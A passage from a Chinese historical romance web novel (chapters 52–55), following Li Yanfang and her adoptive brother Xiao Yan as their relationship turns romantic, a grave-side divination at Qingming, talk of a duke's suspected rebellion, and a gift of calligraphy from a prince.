李宴方逼迫着自己丢掉那个会难过、会忧伤、会哭泣的真魂,让自己时刻武装成钢筋铁骨的战士,去为自己,去为她在乎的人作战。
没有休息,不曾疗伤。
可萧偃就是希望,她能嬉笑怒骂,能爱憎分明,释放她刻意压制的情绪,她可以不理智,可以不再时时想着肩上的重担。
她可以面对心底那个未曾得到自由的自己。
萧偃起身,轻拥住那片在风中摇摇晃晃的彩云:“阿姊,你现在有我了。”
再全服武装的人,身上也有软肋,李宴方瞬间被击中,一败涂地。
坠落的泪珠如苦夏时节突如其来的暴雨,倾盆如柱。
李宴方从未想过放纵,因为自母亲离开后,她强迫自己不要把时间与精力投入到毫无用处的磅礴情绪中,她习惯了步步为营,习惯了硬抗下所有。
那一片无声无息的黑暗旷野再度强势地闯入她的脑海,她带着哭腔,诉说起那一场漫长的跋涉。
“走去山洞的路,好长好长,我想起我背着陆韫之尸首的那一日,把他烧了一了百了,我不害怕,只是兴奋。”
“但那一日,我担心一切都来不及,来不及救你,原野那么宽,那么暗,我不知道什么时候走到尽头,我担心身后的追兵,我担心不期而遇的野兽。”
“我也是会害怕的……”
害怕他真的离去。
说不完道不尽的情绪,扔入回忆里又被拾掇出来。
幸而苍天见怜,这一切已并非她独自承受。
李宴方转过身,抱住那温暖可靠的身躯,将身体轻轻倾斜,靠在他左肩。
肌肤相贴,能清楚地感受到他强力蓬勃的心跳。
52. 玉枕
陈设简洁,宽敞明亮的屋内太过安静,连彼此隐秘欢喜的心跳都显得格外突兀,好似晴天雷动。
李宴方推开萧偃,让他坐回床榻上,自己也坐在一旁,说起今日的梦魇:“我梦到阿娘了,我总觉得在这时候梦到她,她是不是有什么话想说……”
除开那一句称得上是告诫的遗言,李宴方心里依旧不安,若是爹娘得知她如今与萧偃的关系,当有何感想?
李宴方甚至开始胡思乱想,怀疑她与他之间到底有没有血缘关系,这一点很重要,真的很重要,重要得难以启齿。
他仿佛看透了她,带着一点顽劣的笑,与她道:“我去年刚回来不久,我就去爹娘坟前,该说的说了,不该说的也说了,没有雷把我劈成两半,我想二老当是默许的。”
若是姐弟二人真为血亲,在爹娘临终前必会告知真相,但爹娘并没有这么做。
不禁止,即是默许。
她睨了他一眼,哭笑不得,无言以对。
没说不可以,就是可以,这也算同意吗?
她看是时日不对,冬季连日干燥,缺云少雨,这雷无论如何都打不下来。
也能叫做爹娘泉下有知?
他见她鄙夷不解又忍俊不禁的模样,好声解释:“阿姊,从前我们如何过日子,以后也如何过,不会有什么不一样。”
她几乎是立刻从榻上弹起身子,愤然道:“萧凭陵,你是不是装疯卖傻,这能一样吗?”
做姐弟和做……伉俪,当然是不一样的!
也不怪李宴方难为情,有些事情她必须承认,自己有一套看似矛盾的法则,譬如,她可以拥抱,甚至亲吻他,但是谈及更为亲密的举动,她就不由自主地替自己寻找借口。
这一次的借口,找到爹娘身上。
仿佛只有得到二老的首肯,李宴方才能“为老不尊”地对他下手。
尤其是,他还那么的……纯情。
过去,他能做出亲吻衣领的举动;如今,能一脸坦然明媚地说出“没什么不一样”。
她更加无法想象某些见不得光的事情,尽管她坚定地认为男人的“天真”只能保持一段时间,忘本易如反掌,他应当也不会是凤毛麟角的变数。
但她真要动手,就会成为:年长者以资历阅历的优势,以及年幼者对年长者的敬重服从,对年幼者进行引诱和操控。
借地位优势而满足私欲,进而产生浓烈的不道德感。
尽管她很清楚萧偃对自己的感情,但不平等身份的存在给这一段感情注入犹豫纠结。
因此,她渴望以比她更尊崇更权威的父母的同意许可,来消解这一份左右为难。
又或者,是一个极为难以启齿的想法促成这种犹豫——她隐隐期待着萧偃的以下犯上。
彻底把固有的长幼秩序颠覆,进入全新且未知的相处模式中。
前所未有,突破禁忌,充满刺激。
要她承认心底潜藏着这一份期待,简直等同于让她在大庭广众之下揭开自己最寡廉鲜耻的阴暗面。
“过几日就是清明时节,你在家里好好休养,我去祭扫一番。”
李宴方打断纷乱的思绪,留下这么一段话,转身逃之夭夭,刻不容缓。
跑什么?萧偃见她脸色一会儿铁青一会儿绯红,疑惑不已,但没忘了提醒她:“阿姊还欠我一样东西。”
李宴方驻步,他非要在她最混乱的时刻讨债么?
这就开始以下犯上了?
“一定要现在?”她带着一些忍无可忍。
萧偃想,不就是蜻蜓点水亲一下,有那么要紧吗?
他更加狐疑,干脆点点头。过去答应的事情,现在为什么不兑现?
“那你坐好。”
萧偃依言,但他不禁思索,需要这么郑重其事吗?
她坐下,两人近在咫尺,他的气色好了很多,只是眼瞳内闪着清澈澄明的光,还有一点点期待,闪烁莹莹。
这么坦然,萧偃看来是真的不知道李宴方要做什么。
李宴方靠近,胰子的香氛萦绕鼻端,浴兰香氛,清雅宜人。
但眼前人的人离得太近太近,温热的气息洒在面颊上,扰乱安宁,勾起心头丝丝缕缕的躁动。
李宴方捧起萧偃的面庞。
这动作就像进攻前的号角,让萧偃不自觉地攥紧床褥,待柔软的唇触上来时,无辜的床褥显然遭受了更为惨烈的摧残,瞬间由平整丝滑变作扭曲皱巴,仿佛他再用力一些,就会让它分崩离析,四分五裂。
李宴方轻轻含住他那柔软的唇瓣,真实且陌生的触感传来,他有一瞬间的愣怔。
而这正是她趁虚而入的好时机,朱唇作画笔,描摹着天生带笑的轮廓,趁他不备,再化作一阵随风潜入的春雨,润着,洒着,浇透久旱待雨的大地。
大地沉默着,期盼着,等待着,把主动权全部交给惊雷,交给暴雨,广阔无声的土地舒展着坦然的胸怀,迎接一场意料之外的酣畅春雨。
雨本该是凉的,润的,可落在萧偃身上的雨是沸的,烫的,融入他奔流沸腾的血液中,把他热烈跳动的心烧得更烫。
急雨炽热,来得匆匆忙忙,走得流连不舍,雨仿佛下出了兴致,下出了风格,或循规蹈矩地落,或洋洋洒洒地落,或循序由轻到重,或恣意毫无章法。
唇舌之间,缠绵热烈,萧偃被这一阵骤雨浇灭的理智逐渐回笼。
这场雨怎么会这么热,这么烫,不是亲一下就好吗?
居然是这种亲法?让人毫无防备。
萧偃惊喜之余,发现了不可告人的变化,慌乱地扯过锦被,试图掩盖某个迹象。
像小时候撒了谎,做了坏事,但他越小心翼翼,越容易被阿姊察觉。
阿姊终于放开他,他不知道是不是应该松口气,心虚尴尬地抬眼一觑。
李宴方微阖的双眼,泛着朦胧莹润的微光,那种意犹未尽的感觉只存在一瞬,就立刻被她藏起,她犀利的眼神目标明确地向他的腰下扫去。
突然被铺平的锦被,以及“无缘无故”支起的一条长腿。
“看来你伤得也不是很重。”李宴方不冷不热揶揄。
这不是什么意料之外的事情,她不讶异,更不会惊慌。
可李宴方越平静,萧偃就越慌张,他不敢再直视她充满戏谑的眼神,他涨着通红的脸,一把扯过帘帐放下,在两人视线之间制造出阻隔,好把他的窘态藏严实。
帐外冷不丁传来一声嗤笑,而后是一阵轻松愉快
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的离去脚步声。
李宴方想,这回,他该意识到她说的“不一样”是指什么了吧?
*
次日,当作无事发生的李宴方正在吩咐照清准备清明祭扫的事情,突然听闻门外丫鬟通传,赵凝清来访,李宴方暂且把手头上的事情撂下。
正厅相见,赵凝清竟生出恍如隔世的感叹:“大猎之日跌宕起伏,听闻你吉人天相,安然无恙,但我总是得来看看才能安心。”
出逃的猛虎,捱不尽的原野长夜……被李宴方简略地叙述,赵凝清知晓此事时,狠狠为李宴方捏了一把汗。
李宴方含笑拉她坐下,认真道:“我没事。”
“那萧侯可还好?”
赵凝清有时也觉得李宴方命苦,她双亲已去,丈夫早逝,连义弟也卷入“意外”之中。
“他如今在静养。”李宴方回答得波澜不惊,好似昨日真的一切如常。
“那就好,”赵凝清轻拍李宴方的手背,示意身后的丫鬟捧出一物,“这是玉辉堂打的玉枕,舒筋活络,宁神安眠,送你正合适。”
丫鬟打开雕花礼盒,盒中赤红绒布上摆放着一对白玉枕,色泽莹润,做工精美,一看便知价格不菲。
李宴方笑着摆摆手:“你不必破费,我们家不缺枕头,而且我没做噩梦。”
猛虎可怕,长夜亦可怕,她心中惴惴,可身在府内,无论如何也能安心入眠,这一份来自于好姐妹的善意,她接受,可这物件她婉拒了。
说到底,还是因为她自个儿见一对玉枕就兵荒马乱,当真是“赠者无心,受者有意”。
孤枕难眠寓意不佳,所以极会做生意的玉辉堂多是成对出售,赵凝清自然也不会专门挑个落单的,她送来成对的也是情理之中。
但做贼心虚的李宴方见这成双成对的床具,总觉得心底那点儿秘密被人窥破。
毕竟这一对玉枕送得太过凑巧,简直像某种隐晦的暗示。
见李宴方推拒,赵凝清忙道:“不贵,何况我都拿来了,你又要我拿回去?我可嫌累得慌。”
“我不能收。”这一回,李宴方甚至给不出理由,只是生硬的拒绝。
赵凝清注意到李宴方双手交叠下几乎打结的玉指,问道:“你到底怎么了?被吓到了吗?”
“不是。”李宴方下意识拒绝。
赵凝清想,她遇到那么惊心动魄的事情,有些惊慌,有些异常,也是情理之中,便开口:“要不要我留下来陪你聊聊?”
这也不行,如果她留下来,李宴方只怕会控制不住地流露真情,会把那些不可告人的想法说出来,征询好姐妹的意见。
李宴方争执道:“真的不用。”
她一再推拒,反倒真让赵凝清坚信有异:“人不留,礼留;礼不留,人留,你选一个吧。”
“唉。”李宴方无奈叹息,本来呢,赵凝清也是好意,还贴心地考虑到她可能会受山野梦魇侵扰,特意对症下药,却因她愁肠百转,辜负好姐妹一片好心。
她接过玉枕:“多谢你的心意。”
见李宴方仍是不展愁眉,赵凝清不再追问,只告诉她若有需要便派人去寻她,终是带着人回府了。
厅中只剩李宴方望着成双成对的玉枕,一言不发。
53. 冒犯
在李宴方的记忆中,清明时节的雨总是来得准时,幼时因家中从不外出祭扫,这一阵连绵细雨于她而言,也就失去些沉重的意味。
待少年时父亲先去了,她才知纷纷细雨寄哀思;后来母亲也去了,她竟叹苍天泪洒雨绵绵,怜世人辗转翻腾于生老病死爱别离。
城郊的墓园隐没在浓林雨雾中,呼号声祷告声从其中传出,香火红烛纸钱的烟雾自其间升起。
此处是百姓墓园,不讲排场,就算如今姐弟二人飞上枝头,但父亲身份有疑,就未动起迁坟的心思,暂且不打扰双亲长眠。
李宴方带着人寻到二老的坟冢,茔前草木青,嗟叹又一年。
“动手吧。”
她带来的人很少,照清,紫电和青霜,照清与她一同前来洒扫过几次,而紫电青霜也被萧偃带来过,虽然人手不多,但于众人而言,清理杂草,修整坟茔之事皆是得心应手。
待清理完毕,奉上香烛祭品,李宴方酹酒祭奠,虔诚跪拜。
照清三人早已退后,她独自跪于墓前,轻抚风霜留痕的墓碑,拿出悄悄带来的杯筊。
“女儿有事要询问爹娘的意思,女儿的亲事……和萧凭陵。”
弯月型的两枚杯筊躺在她的掌中,这是千百年来百姓问神卜卦的方式——掷杯筊,以两杯落地时留下的形态,推断出神明的示意。
她问的是亡故已久的双亲,鬼神鬼神,如今女儿内心不安,还请二老示下。
连掷三次,若皆为圣杯,杯筊一阴一阳,则为认可应允。
可连续投掷三次,能确保每次都符合自己心意吗?这种可能性未免太小了些。
李宴方在过去从不信鬼神,更从未做过这样矛盾的举动,但她开始担忧结果,担忧二老否定,求一个心安,可这是不是就说明她其实一直以来都认为这件事可以发生?
若二老不允,她会强求么?
她想,她会。
李宴方暗暗长吸几口气,轻轻掷出第一次。
一杯隆面朝上,一杯平面朝上,圣杯。
她抬头凝望石碑,默然不语,掷出第二次。
依旧是圣杯。
喜色浮上脸颊,可心中的不安也愈发浓郁,最后一次,出现的是态度不明的笑杯或持反对意见的无杯,那她该怎么说服自己?
迟疑良久,她破罐破摔般豁出去,掷出最后一次。
杯筊落地发出轻响,李宴方猝然闭紧双眼,有一瞬的迟疑回避。
墓前燃香袅袅,李宴方再睁眼时,已经做好违背父母之命的打算。
可石砖上静静躺着的圣杯好像在嘲笑她的多虑。
三次皆为圣杯,她兴奋激动,好似突然理解求神之人,自己期望之事能被鬼神认可,虽无实质好处,可心中难免高兴快意。
她对二老再拜。
*
回城的路上,马车上的李宴方瞧着道上祭扫之人来来往往,突然想起旧事。
嫁入鄂国公府后,她在清明时节必须以世子夫人的身份操持国公府的祭扫,反倒把爹娘的事情落在后头,甚至,陆韫之只在头一年随她前来祭拜过一次。
成了别人家使唤的劳力,忽视掉自己最亲的人,当时做新妇,一门心思在公府内站稳脚跟,尚不觉得有丝毫不妥,如今置身事外,倒觉得荒谬滑稽,陆家的祖宗十八代,干她何事?
李宴方骤然冷笑一声,清音入耳,如玉击冰霜。
安坐于一旁的照清惊到,忙问:“乡君怎么了?”
“我是不是该顺道去陆家祖坟祭拜一番亡夫与婆母?”
后来李宴方得知,徐夫人“病逝”,陆仁不知所踪,那件事知道的人越来越少了。
照清瞪大双眼,在公府时,乡君与世子琴瑟相调,上下皆知,可后来她们在上清观遇到杀手,心头大骇,她们二人安分守己,怎么会突然惹到□□上的人?
定然公府内是发生了什么事情,而自己不清楚,但后来乡君住进侯府,与公府再无关联,照清就发现乡君不欲再与陆家往来。
所以,今天李宴方突然说了一句祭扫亡夫,照清大感震撼,难道她与陆韫之的感情是真的,而矛盾是她与公府的?那么乡君现在与萧侯之间又算什么?
照清在京中多年,也见识到不少震撼人心的荒唐事,但如此混乱的事发生在自己身边,还是头一遭。
她想着,乡君待她不薄,不管发生什么都要为她赴汤蹈火!
李宴方不晓得照清在想什么,只见她神色几度变化,干脆道:“开个玩笑而已,陆家如今欢不欢迎我这个孀妇还不知道呢,我又不欲为他守节,去了做什么?今儿也累了,我们回去就歇着吧。”
照清听完,恍然大悟,看来乡君还是选了萧侯,这样也不错,知根知底,还不会被公婆为难。
仔细拾掇过往旧事,李宴方才发现她从未就陆韫之之事询问双亲意见,就连成亲那样的大事也是她一手操办。
也许这就是在乎和不在乎的区别,过日子和存心利用的区别。
李宴方只知道,若是让家里躺着的那个人得知她专程去给陆韫之祭扫,只怕要从床榻上弹跳起来,嚷嚷着要去刨坟。
念及他醋劲大发的模样,不由得失笑,不知道他和一个死人较什么劲儿?
她倚靠在车壁上思索着,如今的局面也不错,待将来祭扫的时候不必争吵谁家先谁家后的问题。
回到府中后,李宴方决定去见一见萧偃。
西院书房内萧偃一身檀褐窄袍,正在处理军务。
萧偃不能“死”,所以要留下他活着的证据,但他又不能出面,不能彻底坐实“活”着。
李宴方悄悄入内,但脚步再轻,他都能察觉,干脆把笔搁在笔架山上。
她也不再轻手轻脚,问他:“好些了吗?”
“伤得深,没个十天半个月好不了,很疼的。”
没有深入肺腑、断了筋骨,算是幸事,虽然深且长的两道伤痕表面愈合,但肌理拉扯之时仍有痛感,还动不得武。
“以前在战场上有受过这么重的伤么?”
“有啊,差点死了。”他没撒谎,说得风轻云淡。
她沉默几许,又问:“那时也像现在这么哀嚎吗?”
“我不需要他们的可怜,我只要阿姊心疼。”
犀利冷锐的凤眼变得澄明闪烁,如平湖波光粼粼,春波无限。
他在一片柔情中走来,她已能清晰瞧见他衣襟上的绣纹,她突然出言打断:“我今天顺道去看了看陆韫之,所以回得晚。”
萧偃果然在瞬息之间变换脸色,咬牙切齿:“没遇一场
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狂风把他扬了真是太叫人遗憾。”
“你怎么那么在意一个死人?”
一个死人,对他再也没有威胁。
“在意,如何能不在意?即使陆韫之死去多时,但他也曾经得到你的在乎,不是吗?”更不要说,陆韫之伤害过她。
陆韫之得到了阿姊对夫妻之情的最初期盼,得到了一腔纯粹的、充满憧憬的,小鹿乱碰撞的那一份真情。
即使陆韫之并不配,一丁点都不配。
但萧偃再与她相逢时,她变得警惕,变得抗拒,这是她与他之间无法忘却的纠缠,无法越过的鸿沟。
“我憎恨他。”
萧偃恨不得把他大卸八块,恨不得亲身深入地狱,把陆韫之卑鄙无耻的灵魂准确从茫茫众生中拖出来,再贯注全力把他撕咬得粉碎。
李宴方只需要迈出一步,就能轻拥住他,她仰起头在他耳畔吐气如兰:“我骗你的。”
那时她为陆韫之戴孝,他生气得把绢花叼走,可日后要做假死之局,她少不得也要穿得素净些,她就是担心他触景生情又提起陆韫之,干脆直言,把自己的态度讲明。
“我就是担心你太过在意。你也当知晓,人是我杀的,我去看他做什么?何况陆家也不会欢迎我。”
他突然收紧双臂,加重力道,让二人之间再无一分一毫间隙。
头顶传来的低沉嗓音里带有明显不满:“他生气的时候,你也是这样安慰他的么?”
当然是不同的,在李宴方摸清陆韫之脾气之后,绝不会主动招惹,明面上谨小慎微,暗地里只会设法解决这个祸患。
但与萧偃相处是完全不一样的,过去共同成长的岁月为二人构筑坚实的情感基础,如今的感情虽然变质,但不会轻易破裂。
最重要的是,她与他之间有沟通的渠道,和转圜的余地。
“来日方长,你事事要都与他比较?不嫌掉份儿?”
炸毛狗,顺毛摸,李宴方心知肚明,这明摆着暗示他,陆韫之根本不配和他比较。
萧偃听得懂弦外之音,可阿姊难道不是专程来挑衅他的么?
她明明该知道的呀,他就是讨厌他姐夫,因为李宴方让陆韫之曾经当了他一段时间的姐夫,哪怕他从来没见过陆韫之,也从未唤过一声姐夫。
她偏偏还提什么上坟祭扫,她一定是故意把自己激得暴跳如雷,是也不是?
哼,给她点颜色看看。
一个强势的吻突然发动袭击,电闪雷鸣,飞沙走石。
本以为是冒犯,是偷袭,是趁虚而入,是以下犯上,但当他感知到阿姊一双玉臂如春风缠绿柳一般绕上他的豹颈,一阵激荡的喜悦冲入胸膛,泛滥成无边无际的汪洋。
唇齿之间的绵绵纠缠终有尽时,他先一步放开她,低声喘息。
“要比的,什么都要比。”
李宴方或许该夸他一句长进很快?还是问一句,这也是你的比试吗?
可她没有回答他,她只是掏出藏在袖中的两枚杯筊,塞到他手中。
转身留下一句数落的话:“真是一堆干柴,一点就着。”
李宴方总是能撤退得很及时,这次的萧偃来不及为身体变化而窘迫,只是狐疑不解地打量着一对杯筊,而后他豁然开朗,笑声中藏着一点得意,一点了然。
54. 惦记
瓢泼大雨从天而降,如千军万马驰骋过,在青瓦上留下经久不息的清脆喧哗。
檐下,春雨凝成剪不断的明玉珠帘,隔绝出两个截然不同的天地,在外风雨交加,嚎啕喧闹;屋内煎水烹茶,岁月静好。
萧偃将一盏盛满酽茶的菱花杯递给李宴方,瞟一眼窗外,有一丝难以察觉出的厌烦。
“今年的雨下得太多了。”
那一盏六角茶杯如春花绽放于她掌中,她凝望几许,不急不徐道:“算我们得苍天眷顾,如过这一场与从大猎那一日开始下……”二人未必能那么幸运地撑下来。
自祭扫回来后,天如同漏了般,大雨小雨下个不断,接连十几日都未见晴日,且不仅是洛都如此,京畿与边境亦有雨势连绵的苗头。
他也拿起一只菱花杯,轻啜两口:“于我们幸运,于战局不利。”
“你是说连日阴雨,不利行军?或者爆发内涝,左支右绌?”
“对,且若是北戎也春雨连绵,草原草长,骏马膘肥体壮,就占据天时地利。”
此消彼长,不容乐观。
李宴方沉思:“但今年当不是开战之年。”
春征于大晟有利,春季北戎草原尚未复苏,草稀马饥,骑兵战力减退,而大晟正好经过一个冬季的休整,蓄势待发。
但太后没有选择春时发动,而是以兵演震慑北戎。
任何一场征伐,无论输赢,都是伤筋动骨的大事,太后看来是想把大晟的损失降到最低。
萧偃饮尽杯中茶:“朝中人人都以为我是主战派,但主战派可不会盲目出击。北征之事,天时地利人和缺一不可,十余年前二次北征时,大军就因春时飘雪而受挫。若是现在叫我挂帅,我不一定答应。”
“该把慕容修叫来问问,这雨要下到何时?再下北戎只怕要弄出点动静来。”
萧偃似想起什么趣事,朝她笑道:“当年他毛遂自荐,称自己在边境多年,日日夜观天象,对风云变化之事了如指掌,但我瞧他一副江湖骗子的模样,将信将疑,后来见他当真对气候有些见地才留下他。”
“想不到他还有这本事,看病,看天,还能看什么?他学得还挺杂。”李宴方不由轻笑,慕容修倒也真有意思。
还能算命……萧偃差点脱口而出,但那个卦象实在令他不喜,暂且按下不提。
“等雨小些再问吧。”
自萧偃伤势好转,慕容神医结束在侯府内待命的日子,返回飞捷大营去了,据慕容修亲口说,萧偃与他阿姊之间有一股旁人无法介入的氛围,慕容修在同一屋檐下时如坐针毡,因此速速溜之大吉。
李宴方放下菱花杯,萧偃自然而然地替她再添满,她瞧着这一副尽心尽力,尽职尽责的样子,顺势而问:“你这侍卫姓甚名谁,入伍经历等等准备好了么?”
他早已安排妥当:“随时走马上任。”
一个经得起推敲的身份,一张狰狞剽悍的面具,一个酷似自己的身形,一尊不轻易出言的金口,让人人见了都以为他是萧偃,但又无法确定他是萧偃。
这个侍卫,能不能以下犯上?一个微妙的念头在萧偃脑海中转瞬即逝。
“那待到雨霁天晴时,可得想方设法带着我的新侍卫到人前转一转,尤其是要在鄂国公府的人面前走个过场。”
李宴方摩梭着菱花杯壁,陆家设计此局,难道只为一个扰乱军心?
“陆朴有反意,你我已然知晓,但其谋反时日与方式我们还一无所知……若我还是世子夫人,也许还能探听一二,又或者他还要借你的势,你探查反而更直接。”
她嗤笑一声,定定望着他,谈论鄂国公府是绕不开的事情,她前些日子如若不与萧偃讲明,今日的闲谈主题指不定要歪到何处去。
“幸好阿姊不再是,否则他们以你为筹码,要挟我入伙怎么办?不过,陆朴二十年来堪称平步青云,他为何要反?”
还好他阿姊先解决掉陆韫之,要不然他真被陆朴拉去做碎催。
“陆朴本是世家出身,但出身旁支,他在高宗未登基前便是亲信,而后随高宗出生入死,年年累封,爵至国公。”
“他在朝堂本有官职,但在几年前,高宗尚在,与皇后一同下令改革税制,惩治贪腐,陆家有人知法犯法,结果陆朴以监管不力,卸任官职领罪思过,但朝中依旧有他的族人门生。”
但那时高宗龙体欠安,这件事极有可能是冯后一手操办,所以陆朴开始不满冯后。
而今的太后如日中天,就算没有税制之事,陆朴也未必能得太后重用,太后有她的刀,而陆朴是高宗的刀。
李宴方不可避免地想起陆韫之:“至于陆韫之,我甚至怀疑他最初就是按照陆朴的意思,以沉迷玄道而名正言顺地不入官场,不问科举,是陆家整体韬光养晦之举。”
“可偏偏陆韫之在这一出回避之中,真的陷入求仙问道,这当是出乎陆朴意料的事情,要不然不会询问陆韫之策论之时。”
到底是嫡长子,陆朴并没有放弃培养陆韫之。
“我正是在替陆韫之捉刀策论是发现陆朴对太后的不满,前两年税制再改,他让陆韫之作策论述,我记得他的评价是‘操之过急’,有疑似借改税而清楚异己之嫌。”
她居然还替陆韫之捉刀过?萧偃记下但未挑明:“朝堂上主张不同是寻常事,如非涉及根本,完全不需要铤而走险谋反。”
除非陆朴本人有极大的野心。
李宴方道:“那要看他如何看待‘根本’,也许有人以为满门抄斩才动及根本,但也许他认为陆家丢官,借征税之举的财路彻底被斩断,也是根本。”
“到底是人心不足蛇吞象,但引狼入室这种事情他也敢做?岂配率领百官,位极人臣?”萧偃冷嘲嗤笑,内部争权夺利也就罢了,和北戎沆瀣一气,是要卖国求荣吗?
李宴方蓦然想起陆怀置养的外室,改日得寻张娘子一趟,这个城西外室难道是探查陆家谋反计划的突破口?
“阿姊,你说一个人要谋反,他最需要什么?”
李宴方不假思索:“手上的兵,朝中的人,天赐良机和出师有名。”
以萧偃为例,他只有兵,但朝中并无根基,就算得到时机和名号,他也绝对无法稳坐龙椅。
谋反颠覆不是杀一两个人那么简单,臣工不听命服从,上下联合对抗,不仅政令不出得禁宫,连“皇帝”本人都可能
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会被杀掉。
仅有兵有将未必能成事,但无兵无将必然成不得事。
“你手上的‘无主之兵’一定会被人惦记。”
“阿姊,你才是会被惦记的啊。”
他“亡故”或者“残废”都不重要了,重要的是,只要兵权没有被太后收回,能利用他的亲属关系,进而设法获得飞捷支持的只有他阿姊一人,那一枚错金虎符是调兵凭据,而阿姊就成为某些眼中的另一枚虎符。
轻则以阿姊取得飞捷军信任,调动兵马。
重则刻意制造恩怨情仇,先以他的死伤挑动军心,再以阿姊的献祭而造成群情激愤,既说哀兵必胜,那么身负血仇怒火中烧的人马更是势如破竹。
这就是另一枚虎符的用处。
萧偃起身换位,两步行至她身侧,按着她坐下的圈椅的扶手,弯下腰身,以保护防卫的姿态与她相贴。
如日夜捍卫巍峨城池的河流,深邃广阔,沉肃汹涌,任何贼子都不得进犯秋毫。
李宴方抬头侧首,两汪杀意伏藏的深潭撞入她的眼,搅碎平如镜面的秋波,留下涟漪绵绵。
在一息之间懂得他的担忧,是相知的默契;而习惯且坦然接受他的在乎,是缠绵的情致。
泛涌涟漪,化为潜波,沉入湖心。
“兵来将挡,水来土掩,”李宴方平静地望着他,“我想无论杀不杀陆韫之,我都逃不过这一遭风浪,我原先还有些后悔把你、把我扯入其中,但现在想来,谋反私通的人可不管你我无不无辜。”
怀璧其罪,璧,兵符也。
“幸好阿姊先动手,让我们提早窥探到对方的意图,早做布局,”萧偃更进一尺,近得鼻息纠缠,“杀陆韫之这件事……”
他很是开心。
和亲手把陆韫之剁成肉酱相比,阿姊动手更令他开怀。
咫尺之间的情意缠绵混入丝丝缕缕的血腥味儿,人命,算计,谋逆……绞在一处,散发着幽暗诡谲的气息,将二人囚在一间密不透风的牢室之内,让彼此都把对方当作唯一可交付真心、共谋生路之人。
真好。
李宴方抬起手臂,直起食指中指,配合拇指捏住他线条流畅的下颌,只要再近一些,就能吻住他犹带笑意的薄唇。
不知何时雨声已停歇,但取而代之的是一阵叩门声。
萧偃剑眉不悦轻挑,眸中温情冷去几分,朗声道:“进。”
来者是紫电。
纵然他跟在主子身边日久,但见到萧偃的这一刻,仍是不由自主心惊一瞬。
萧偃弓着身子,隔着圈椅,将李宴方护在怀中,伏低的眉眼下,锋芒不收一分一毫,挑亮着蓄势待发的攻意,宝剑锐利,猛虎骁悍,皆不及他。
乡君倒是淡然安坐,不动如山。
紫电早已知晓,乡君这位主子即使同样不好惹,但她更好说话些,垂首道:“宋王府来了人,要赠乡君一份礼。”
李宴方尚未起身,萧偃更放低身形,在她耳边问道:“是惦记阿姊的人么?”
光顾着防范北戎与陆家,倒是让萧偃把李攸给忘了呢,不知宋王殿下那日受的箭伤好了没?
他轻笑不语,嘲意鲜明。
55. 书画
客厅正中央站着几位装束整洁的王府侍从,他们抬着礼物,为首的一位长相清秀,他双手捧着一方长形锦盒,默然沉静地等待着高陵乡君的接见。
但他在等来乡君之前,先被一阵似有似无的厉风卷过。
一名长身威武的侍卫阔步而入,他头戴狰狞鬼面,乍一见,侍从心惊肉跳,后背发凉。
侍从并不知这是飞捷军中执行秘密任务时需装备的覆面,只是知晓那不存在于人世间的厉兽好似被覆面之人赋予凶戾杀气,变得格外真切,仿佛下一瞬就能化形而出,撕裂苍穹。
更不要说他一个凡夫俗子如何能逃脱?
鬼面侍卫视他于无物,径自走至主座一旁,背手而立。
不过片刻,乡君缓步而来,落座,吩咐丫鬟看茶看座。
王府侍从恭敬行礼:“落座不敢当,小人奉王爷之命前来,问乡君安。”
“我听闻宋王殿下在大猎中受了箭伤,让王爷派人冒着风雨先来关照我,倒成了我的不是了,只是我近来体虚,待来日得空,定然登门致谢。”
王府侍从不卑不亢道:“王爷小伤已痊愈,多谢乡君挂怀。他嘱咐小人,乡君林中遇险,需安神调养,命小人送来宁神香料,以及几幅王爷特意搜罗来的字画,供乡君闲时赏玩,养心即是养神。”
萧偃冷嘲,李攸这野狐狸还真是贴心。
“世安,替我收下殿下的好意。”
连待雨霁天晴都等不了,李攸要送的东西八成不同寻常,那么她又岂有拒绝之理?
戴着面具的那位侍卫阔步而来,不过转瞬间便到王府侍从跟前,身形如同被仙人施法搬来的崇山峻岭,威压逼人。
王府侍从将礼盒奉过双肩,心头惧意骤生,此情此景下,他只盼着能尽快完成任务,好溜之大吉。
直觉告诉他,这位名字平平无奇的侍卫并不是个简单的人物,一定要如实禀告给宋王殿下。
侍卫在他跟前停顿,不知是在打量他,还是在打量他手中的锦盒。
王府侍从惴惴不安,仿佛隔着铁笼与虎豹对视,即使猛兽无法破笼而出,但当那双灌满野性凶悍的兽眼漫不经心地扫过自己时,差点叫人屁滚尿流。
就在他冷汗直出几近腿软之时,世安单手接过长形锦盒,还掂了几下,似乎在好奇盒中装的是何物。
简直是目无礼法!
侍从虽然是一个下人,但代表的可是宋王殿下,刁难蔑视他,就是拂了宋王的面子。
乡君身边什么时候竟然多了这样一个张狂无礼的侍卫?!
王府侍从虽怒,但惧意未消,他示意身后侍从放下香料等物,几人又朝高陵乡君行了一礼,退出门外,转身出府。
外人皆散去,李宴方摇头,耳上明珰轻晃:“你为难他做什么?让宋王早日盯上你,查你的来历么?”
“布局天衣无缝,本就是待人查。”
从“萧偃重伤”的苗头一出,再到飞捷大营中隐秘的遴选,进而再由亲卫奉命增加府邸护卫人手,暗地里把选中的“替身”以此为由,送入府内。
当有人以为世安就是萧偃时,他就能露出世安奉命假装的马脚,说明萧偃要么死了,要么废了。
当有人以为世安与萧偃毫无关系时,他就能用各种细节证明自己就是萧偃,说明萧偃不仅安然无恙,还设计圈套,守株待兔。
让暗中窥伺的各方根本分不清实况,不敢下手。
离开正厅,在王府侍从面前嚣张不已的世安亦步亦趋地跟在李宴方身后行至书房,一路上都安分得不得了。
书房内只剩两人,萧偃摘下面具。
他打开锦盒,盒中果然只有几幅书画,他取出其中一幅,于案上展开:“我倒是要瞧瞧这不怕风吹雨打也要送来的书画究竟藏了什么玄机。”
李攸倒是心机,送人深谙投其所好之道,还不忘暗自强调初遇时他与阿姊在文墨上的心有灵犀……
萧偃念及旧事,怫然不悦,自己怎就胸无点墨?没法在上元之夜无法脱口而出,反而生生叫李攸钻了空子,由他占过上风。
有他在,可不能叫阿姊被这些小手段迷惑。
萧偃将卷轴展开,墨香穿越岁月侵蚀扑面而来,一幅笔墨流丽的行书长卷映入眼帘,他辨识着,迟疑几许:“是前人所作《兰台赋》?一篇吟咏春兰的文赋,有什么暗示?”
这一幅长卷有些年头,似乎还经历过些许风霜,装裱的丝绢已破损毛躁,画心亦留有明显的卷痕。
李宴方坐在圈椅上,今日敷衍王府侍从也不算扯谎,她在大猎那日确实伤及元气,那时靠着念头与心气儿强撑,背起萧偃走了那样久,后来不吃不喝捱过两日,担惊受怕还不得安歇。
此刻的她有些力不从心,语调里有一丝倦意:“是何人所誊,可有落款?”
